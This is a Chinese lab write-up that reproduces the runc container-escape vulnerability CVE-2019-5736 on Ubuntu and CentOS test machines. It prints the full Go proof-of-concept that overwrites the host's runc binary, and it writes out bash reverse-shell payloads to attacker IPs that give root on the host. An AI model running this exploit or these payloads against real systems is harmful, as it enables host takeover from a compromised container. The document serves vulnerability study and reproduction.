一、漏洞概述
1.1 简介
CVE-2019-5736是一个严重的安全漏洞,它影响了包括Docker、containerd、Podman和CRI-O在内的多种容器运行时环境。该漏洞允许恶意容器通过覆盖宿主机上的runc可执行文件,实现从容器到宿主机的逃逸,从而获得宿主机的root权限。攻击者可以利用这一点执行任意代码,对宿主机及其上所有容器构成严重威胁。
Docker Runc是什么?
Docker Runc 是一个轻量级的命令行工具,用于创建和管理符合 Open Container Initiative (OCI) 标准的容器。它是由 Docker 团队开发,并贡献给了开放容器计划 (OCI)。runc 的主要功能是作为 OCI 容器运行时的参考实现,负责容器的启动、停止、暂停和删除等操作。
runc 与 Docker 的关系非常密切。Docker 使用 runc 作为其容器运行时,这意味着当你使用 Docker 运行容器时,实际上是通过 Docker 调用 runc 来完成容器的创建和管理。runc 提供了一套命令行工具,供用户和上层容器管理工具(如 Docker、Kubernetes 等)调用,作为容器生态中的基础组件,runc 提供了对容器生命周期的底层管理。
下图是一张Docker组件架构图,描述了Docker运行容器时所依赖的一些组件,近些年基于组件的Docker容器逃逸漏洞大多发生在shim组件和runc组件上。
![]()
![]()
1.2 影响范围
- Docker Version < 18.09.2
- runC Version <= 1.0-rc6
1.3 漏洞成因
该漏洞的成因与Linux的pid命名空间和/proc伪文件系统有关。攻击者可以利用这个漏洞,通过修改容器内的可执行文件,获取宿主机上runc可执行文件的文件句柄,然后进行覆盖操作,将runc替换为可控的恶意文件,最终在宿主机上以root权限执行任意代码。受影响的版本包括Docker 18.09.2之前以及runc版本低于1.0-rc6的系统。
二、漏洞复现(ubuntu 14.04复现失败)
做这个漏洞复现的时候记得对虚拟机做快照,方便恢复,因为涉及到runc文件的恶意覆盖会影响到容器的正常启动。
2.1 实验环境
- ubuntu :uname -a
Linux ubuntu 4.4.0-142-generic #168~14.04.1-Ubuntu SMP Sat Jan 19 11:26:28 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
docker:docker -v
Docker version 18.06.3-ce, build d7080c1runc版本:1.0-rc5
runc版本如何查看?
1)docker info 查看runc相关的信息
![]()
在Docker环境中,
runc
是一个轻量级的容器运行时,它负责根据Docker镜像创建并运行容器。当你看到runc version
显示为一串字符序列时,这实际上是runc
的Git commit hash或者构建标签(build tag)。![]()
2)直接运行docker-runc –version
![]()
docker和runc的版本符合漏洞利用的条件,但是操作系统版本不符合漏洞利用的条件。
2.2 攻击脚本编译
git clone https://github.com/Frichetten/CVE-2019-5736-PoC
将脚本中要在目标机上执行的payload修改为反弹shell的命令,IP为攻击机IP,端口为攻击机监听的端口:
package main
// Implementation of CVE-2019-5736
// Created with help from @singe, @_cablethief, and @feexd.
// This commit also helped a ton to understand the vuln
// https://github.com/lxc/lxc/commit/6400238d08cdf1ca20d49bafb85f4e224348bf9d
import (
"fmt"
"io/ioutil"
"os"
"strconv"
"strings"
"flag"
)
var shellCmd string
func init() {
flag.StringVar(&shellCmd, "shell", "", "Execute arbitrary commands")
flag.Parse()
}
func main() {
// This is the line of shell commands that will execute on the host
var payload = "#!/bin/bash \n" + shellCmd
// First we overwrite /bin/sh with the /proc/self/exe interpreter path
fd, err := os.Create("/bin/sh")
if err != nil {
fmt.Println(err)
return
}
fmt.Fprintln(fd, "#!/proc/self/exe")
err = fd.Close()
if err != nil {
fmt.Println(err)
return
}
fmt.Println("[+] Overwritten /bin/sh successfully")
// Loop through all processes to find one whose cmdline includes runcinit
// This will be the process created by runc
var found int
for found == 0 {
pids, err := ioutil.ReadDir("/proc")
if err != nil {
fmt.Println(err)
return
}
for _, f := range pids {
fbytes, _ := ioutil.ReadFile("/proc/" + f.Name() + "/cmdline")
fstring := string(fbytes)
if strings.Contains(fstring, "runc") {
fmt.Println("[+] Found the PID:", f.Name())
found, err = strconv.Atoi(f.Name())
if err != nil {
fmt.Println(err)
return
}
}
}
}
// We will use the pid to get a file handle for runc on the host.
var handleFd = -1
for handleFd == -1 {
// Note, you do not need to use the O_PATH flag for the exploit to work.
handle, _ := os.OpenFile("/proc/"+strconv.Itoa(found)+"/exe", os.O_RDONLY, 0777)
if int(handle.Fd()) > 0 {
handleFd = int(handle.Fd())
}
}
fmt.Println("[+] Successfully got the file handle")
// Now that we have the file handle, lets write to the runc binary and overwrite it
// It will maintain it's executable flag
for {
writeHandle, _ := os.OpenFile("/proc/self/fd/"+strconv.Itoa(handleFd), os.O_WRONLY|os.O_TRUNC, 0700)
if int(writeHandle.Fd()) > 0 {
fmt.Println("[+] Successfully got write handle", writeHandle)
fmt.Println("[+] The command executed is" + payload)
writeHandle.Write([]byte(payload))
return
}
}
}
#!/bin/bash \n bash -i >& /dev/tcp/192.168.43.26/3333 0>&1
⚠️:这个地方这样改的话就改错位置了,应该改的是payload参数,这里var shellCmd string
是个变量类型的声明。
应该改的是payload的值。执行命令编译生成payload。
CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build main.go
大战bug-「安装go环境」:
执行编译命令报错,很显然kali上没有go环境用来编译go脚本。
![]()
安装gccgo-go、golang-go时报错
![]()
目测是kali软件源的问题。
更新kali软件包,发现软件源报错。
![]()
应该是很久没有在kali装软件了,源都过期了。
可以直接打开这个目录 /etc/apt/ 并找到 sources.list 文件。
vim /etc/apt/sources.list
先用 # 把原本的注释掉:
![]()
![]()
之后,在下面添加上新的源:
# aliyun 阿里云 deb http://mirrors.aliyun.com/kali kali-rolling main non-free contrib deb-src http://mirrors.aliyun.com/kali kali-rolling main non-free contrib # ustc 中科大 deb http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib deb-src http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib #deb http://mirrors.ustc.edu.cn/kali-security kali-current/updates main contrib non-free #deb-src http://mirrors.ustc.edu.cn/kali-security kali-current/updates main contrib non-free<br><br># 清华大学<br>deb http://mirrors.tuna.tsinghua.edu.cn/kali kali-rolling main contrib non-free<br>deb-src https://mirrors.tuna.tsinghua.edu.cn/kali kali-rolling main contrib non-free # kali 官方源 deb http://http.kali.org/kali kali-rolling main non-free contrib deb-src http://http.kali.org/kali kali-rolling main non-free contrib # 默认的直接注释掉 #deb http://security.kali.org/kali-security kali-rolling/updates main contrib non-free #deb-src http://security.kali.org/kali-security kali-rolling/updates main contrib non-free
![]()
kali官方源可以注释掉,然后更新更新源:
apt-get update
![]()
Err:1 http://mirrors.aliyun.com/kali kali-rolling InRelease The following signatures were invalid: EXPKEYSIG ED444FF07D8D0BF6 Kali Linux Repository <devel@kali.org>
解决方法: 下载最新key添加到keylist
wget -q -O - https://archive.kali.org/archive-key.asc | apt-key add
![]()
访问不了,估计又被墙了。
wget
是一个在命令行下使用的文件下载工具,用于从网络上下载文件。wget
命令的参数可以控制其行为和输出。下面是您提到的参数的解释:
-q
:这个选项让wget
以静默模式运行,即不在终端上显示下载过程中的信息。这包括下载进度、错误消息等。静默模式通常用于脚本中,以避免输出不必要的信息。-O
:这个选项指定输出文件的名称。如果不跟文件名,wget
会将下载的内容输出到标准输出(stdout),这通常与管道(|
)一起使用,将输出传递给其他命令或程序。-
:当-O
后面紧跟一个-
时,它告诉wget
将下载的内容输出到标准输出,而不是保存到文件。这与-O -
一起使用,可以实现将下载的内容直接传递给其他命令或程序,而不是保存到磁盘。在物理机上下载下来先,然后放在虚拟机中。
![]()
然后cat查看,通过管道符交给apt-key add添加。
然后再次运行
apt-get update
,源能够更新成功。![]()
安装go编译工具:
apt install golang
大战bug-「安装go环境」:
直接把系统搞崩了可还行。
![]()
只能强行关机。关机按钮都没了。
![]()
重启之后。
![]()
go安装成功。
继续编译:
编译成功。
2.3 上传到容器中
目标服务器中运行的容器:
假设已经拿下容器的shell。
上传文件到tmp目录中。
2.4 修改权限并执行
2.4.1 蚁剑虚拟终端尝试执行(失败)
执行main文件权限不够。
2.4.2 先获取反弹的root shell
具体如何获取的root权限的容器shell,可以看本站 《三层网络靶场(WHOAMI)从打点到拿下域控 》这篇文章。
先提权获取root权限的容器shell,然后修改main函数的权限之后执行,提示Overwritten成功。
左边nc监听反弹的目标主机的shell,右边是获取的容器中的root权限的shell。
如果左边能够获取到shell,那么就成功从容器中实现了逃逸。
手动重启容器,并没有获得逃逸成功的shell。
大战bug-「容器启动秒退」:
之前手动关闭重启容器,这次执行sudo docker start 8e17发现容器启动不起来了。
![]()
秒退。
查看docker服务状态,发现docker正常运行:
![]()
重新执行一次启动命令,还是失败。
![]()
查看容器启动的日志:
sudo docker logs 8e17
![]()
从日志可以看出,确实是执行docker容器逃逸攻击导致的问题。因为本地的
/bin/sh
文件被恶意替换了。docker启动容器是调用runc运行时环境失败,所以容器也就无法启动了。所以,要意识到做虚拟机快照的重要性,可以省去很多麻烦。
重新恢复虚拟机环境。
重新编译一下POC,重点注意ip端口和执行的命令。
CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build main.go
上传至/tmp目录。
修改权限。
右侧是容器提权后的root权限的shell。
左侧监听连接,如果能够监听到连接则表明成功实现了逃逸,获得了宿主机的shell。
在容器的shell中执行./main,覆盖宿主机的/bin/sh文件。
然后登录web2,模拟管理员用docker exec进入容器。
容器root shell提示获取到文件句柄。
但是没有获取到shell。
2.5 复现失败
目前的环境时Ubuntu 14.04,可能目前的POC无法起作用。
Tested on Ubuntu 18.04, Debian 9, and Arch Linux.
作者这里测试环境不包含14.04,可能还是需要搭建符合要求的环境才能实现。
三、漏洞复现(centos7复现成功)
3.1 实验环境
3.1.1 centos 7
1)卸载已经安装的Docker
1)步骤一:杀死所有运行中的容器。
首先,确保没有任何容器在运行。使用以下命令杀死所有运行中的容器:
docker kill $(docker ps -a -q)
2)步骤二:删除所有 Docker 容器
接下来,删除系统中所有存在的 Docker 容器:
docker rm $(docker ps -a -q)
3)步骤三:删除所有 Docker 镜像
为了确保系统清洁,删除所有 Docker 镜像:
docker rmi $(docker images -q)
删不掉的加-f参数
4)步骤四:停止 Docker 服务
在进行下一步之前,确保停止 Docker 服务及其相关的套接字:
sudo systemctl stop docker.socket sudo systemctl stop docker.service
5)步骤五:删除存储目录
Docker 会在系统中创建多个存储目录。删除这些目录以彻底清除 Docker 数据:
sudo rm -rf /etc/docker sudo rm -rf /run/docker sudo rm -rf /var/lib/dockershim sudo rm -rf /var/lib/docker
6)步骤六:卸载 Docker
查看已安装的 Docker 包
首先,检查系统上已安装的 Docker 包:
sudo yum list installed | grep docker
![]()
7)卸载相关包
然后,使用以下命令卸载所有与 Docker 相关的包:
sudo yum remove -y 'docker*' sudo yum remove -y containerd.io.x86_64
总结
通过以上步骤,你可以在 CentOS 7 系统上彻底卸载 Docker 和清理所有相关数据。确保每个步骤都正确执行,以避免残留数据影响后续操作。
2)安装低版本的docker
- 列出可用版本
yum list docker-ce --showduplicates | sort -r
- 安装有漏洞版本<=18.09.2,这里选择18.06.0.ce-3.el7版本
sudo yum install docker-ce-18.06.0.ce-3.el7 -y
- 查看版本
docker -v
docker-runc -v
看到docker版本为18.06.0.ce<18.09.2,runc版本为1.0.0 rc5<1.0-rc6。
注:高版本docker中使用runc -v来runc查版本。
- 启动docker
3.1.2 模拟失陷容器
模拟启动一个被攻击失陷的容器。
在受害者机器(即这里的centos7 )上启动一个容器 ,搭建攻击环境。
1)拉取镜像
docker pull nginx
大战bug-「拉取镜像失败」:
![]()
之前就碰到过类似的问题,原因就是docker官方仓库被墙了。
解决:
核心就是找到能用的镜像仓库,目前可用的配置如下:
sudo tee /etc/docker/daemon.json <<EOF { "registry-mirrors": ["https://docker.zhai.cm"] } EOF systemctl daemon-reload systemctl restart docker
再尝试拉取一下nginx镜像。
![]()
![]()
还是拉取不下来。可以等等看,如果站点不通过科学上网还能访问的话应该问题不大,拉取的时候比较随缘,可能需要多次尝试。
![]()
等了半天还是拉取不下来,还是说不准哪里就会出现问题。需要不断寻找能用的仓库。
{ "registry-mirrors": [ "https://docker.hpcloud.cloud", "https://docker.m.daocloud.io", "https://docker.unsee.tech", "https://docker.1panel.live", "http://mirrors.ustc.edu.cn", "https://docker.chenby.cn", "http://mirror.azure.cn", "https://dockerpull.org", "https://dockerhub.icu", "https://hub.rat.dev", "https://proxy.1panel.live", "https://docker.1panel.top", "https://docker.m.daocloud.io", "https://docker.1ms.run", "https://docker.ketches.cn" ] }
配置上面的仓库地址还是无法拉取,折磨。。。。。。
后面耐心多尝试了几次又可以了,麻!
![]()
2)运行容器
docker run --name nginx-test -p 8080:80 -d nginx
3.1.3 攻击机
kali linux:ip 192.168.52.5
3.2 漏洞复现
前提:假定攻击者已经拿下容器的root权限(一般攻击者会通过webshell+提权的方式实现这一目标,参考本站《 三层网络靶场(WHOAMI)从打点到拿下域控》一文)。
目标:通过Runc逃逸漏洞拿下宿主机的root权限。
3.2.1 恶意脚本编译
这个过程跟2.2 节一样,不赘述。
payload执行后反弹的shell连接的目标地址为 192.168.43.27:3333
。
3.2.2 将payload传入失陷的容器中
将该payload(main文件)拷贝到docker容器中(这就是模拟攻击者获取了docker容器权限,在容器中上传payload进行docker逃逸)并将main文件修改权限可执行。
docker cp main 59f2:/home
docker exec -it 59f2 /bin/sh
cd home
chmod 777 main
3.2.3 发起攻击
1)执行./main
这一步的目的是执行payload覆盖宿主机的/bin/sh。
2)攻击者监听反弹的shell
3)模拟受害者进入容器触发payload
重新打开一个ssh会话,执行进入容器的命令。
docker exec -it 59f2 /bin/sh
观察容器shell会话的显示:
攻击成功。
4)攻击侧弹回的shell
发现没有反弹回shell。
原因分析:kali采用了桥接方式,在192.168.43.27/24网段,centos7受害机在192.168.52.4/24网段。无法连通,如果kali具备公网ip且centos7能够访问互联网,应该会反弹成功。
将centos7改成桥接模式,IP-192.168.43.181/24。kali还是获取不到shell。
将centos7改回NAT模式 192.168.52.4 ,kali也改成NAT模式 192.168.52.5。
重新操作一遍。
修改payload的反弹shell回连地址:
var payload="#!/bin/bash \n bash -i >& /dev/tcp/192.168.52.5/4444 0>&1"
搞定:✅
成功获取到宿主机的shell(ip是宿主机的ip192.168.52.4),并且权限是root。
同样的方法在ubuntu16.04 重新操作一次,还是没有成功:
![]()
看来该漏洞的利用比较以来操作系统、docker和runc的具体版本。
至此,docker容器逃逸-CVE-2019-5736成功复现。